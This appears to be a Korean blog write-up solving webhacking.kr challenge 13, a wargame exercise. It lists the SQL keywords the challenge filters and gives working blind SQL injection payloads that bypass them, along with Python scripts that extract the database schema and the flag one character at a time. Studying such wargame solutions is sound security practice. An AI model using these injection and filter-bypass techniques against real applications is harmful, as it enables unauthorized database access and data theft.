본문 바로가기

Wargame, CTF/webhacking.kr

Webhacking.kr 13번

메인화면
no에 1을 제출했을 때

참일 때

 

no에 1이외의 수를 넣었을 때

거짓일 때

 

 

필터링
=, <, >, and, ||, &&, 공백, 0x, -, /, *, like, left, right, mid, ascii, hex, where, limit, union, order 등

되는 것
or, select,0b, ', substr, sleep,^,ord, if, database(), information, in, reverse 등

 

필터링과 되지 않은 것들은 더 있을 것인데 중요한 것만 추렸다

 

데이터베이스명 알아내기

no=(0)or(if(length(database())in(7),1,0))

데이터베이스명 7자리
데이터베이스명 1번째 자리

ord(?)=99

'c'

아마 chall13이지 싶음

 

이제 테이블을 찾아야하는데 

우선 테이블명의 길이부터 알아낸다

 

테이블명의 길이를 알아내는 쿼리문으로는

if((select(length(min(if((select(table_schema)in(데이터베이스이름)),table_name,null))))

from(information_schema.tables))in(테이블명길이),1,0)

import requests

url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}

for i in range(1,30):
    res = requests.get(url+"if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in("+str(i)+"),1,0)",cookies=cookie)
    if("<td>1</td>" in res.text):
        print(str(i)+"is correct!!!!!")
        break
    print(str(i)+"incorrect")

테이블이름은 13글자

 

또 테이블명을 찾아본다

쿼리문은

if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),1,1))

from(information_schema.tables))in(문자(2진수표현)),1,0)

'를 써서 'f'처럼 해도 안나오지만

2진수로 표현해서 비교하면 나옴

 

import requests

url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}

table_name=""
for i in range(1,14):
    for j in range(33,128):
        res = requests.get(url+"if((select(substr(min(if((select(table_schema)in(database())),table_name,null)),"+str(i)+",1))from(information_schema.tables))in("+str(bin(j))+"),1,0)",cookies=cookie)
        if("<td>1</td>" in res.text):
            print(chr(j)+"is correct!!!!!")
            table_name += chr(j)
            break
        print(chr(j)+"incorrect")
print(table_name)

테이블 이름은

flag_ab733768

 

컬럼을 찾아본다

먼저 컬럼의 길이

if((select(length(min(if((select(table_name)in(테이블명(2진수로))),column_name,null))))

from(information_schema.columns))in(컬럼명의 길이),1,0)

import requests

url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}

for i in range(1,30):
    res = requests.get(url+"if((select(length(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null))))from(information_schema.columns))in("+str(i)+"),1,0)",cookies=cookie)
    if("<td>1</td>" in res.text):
        print(str(i)+"is correct!!!!!")
        break
    print(str(i)+"incorrect")

컬럼명의 길이

 

다음 컬럼명 찾기

쿼리문

if((select(substr(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)),1,1))from(information_schema.columns))in(문자(2진수형식)),1,0)

위에 보이는 0b~~~~는 table이름의 2진수 형태임

import requests

url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}

column_name=""
for i in range(1,14):
    for j in range(33,128):
        res = requests.get(url+"if((select(substr(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)),"+str(i)+",1))from(information_schema.columns))in("+str(bin(j))+"),1,0)",cookies=cookie)
        if("<td>1</td>" in res.text):
            print(chr(j)+"is correct!!!!!")
            column_name += chr(j)
            break
        print(chr(j)+"incorrect")
print(column_name)

컬럼명은

flag_3a55b31d

 

마지막으로 컬럼안에 있는 flag를 추출하면 됨

flag의 길이 구하기

if((select(length(max(컬럼명)))from(데이터베이스명.테이블명))in(길이),1,0)

import requests

url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}

for i in range(1,50):
    res = requests.get(url+"if((select(length(max(flag_3a55b31d)))from(chall13.flag_ab733768))in("+str(i)+"),1,0)",cookies=cookie)
    if("<td>1</td>" in res.text):
        print(str(i)+"is correct!!!!!")
        break
    print(str(i)+"incorrect")

flag는 27글자

 

이제 flag를 구하기만 하면된다

쿼리문

if((select(substr(max(컬럼명),1,1))from(데이터베이스명.테이블명))in(문자(2진수 형식)),1,0)

import requests

url = "https://webhacking.kr/challenge/web-10/?no="
session = requests.Session()
cookie={"PHPSESSID":"gktgpr4osm6mr0oqlk9emu1dd0"}

flag=""
for i in range(1,28):
    for j in range(33,128):
        res = requests.get(url+"if((select(substr(max(flag_3a55b31d),"+str(i)+",1))from(chall13.flag_ab733768))in("+str(bin(j))+"),1,0)",cookies=cookie)
        if("<td>1</td>" in res.text):
            print(chr(j)+"is correct!!!!!")
            flag += chr(j)
            break
        print(chr(j)+"incorrect")
print(flag)

클리어

flag에서

FLAG는 대문자로 하고

괄호 안의 문자는 소문자로 해야함

'Wargame, CTF > webhacking.kr' 카테고리의 다른 글

Webhacking.kr 1번  (0) 2020.01.24
Webhacking.kr 52번  (2) 2020.01.18
Webhacking.kr 9번  (0) 2020.01.03
Webhacking.kr 57번  (0) 2020.01.03
Webhacking.kr 45번  (0) 2020.01.03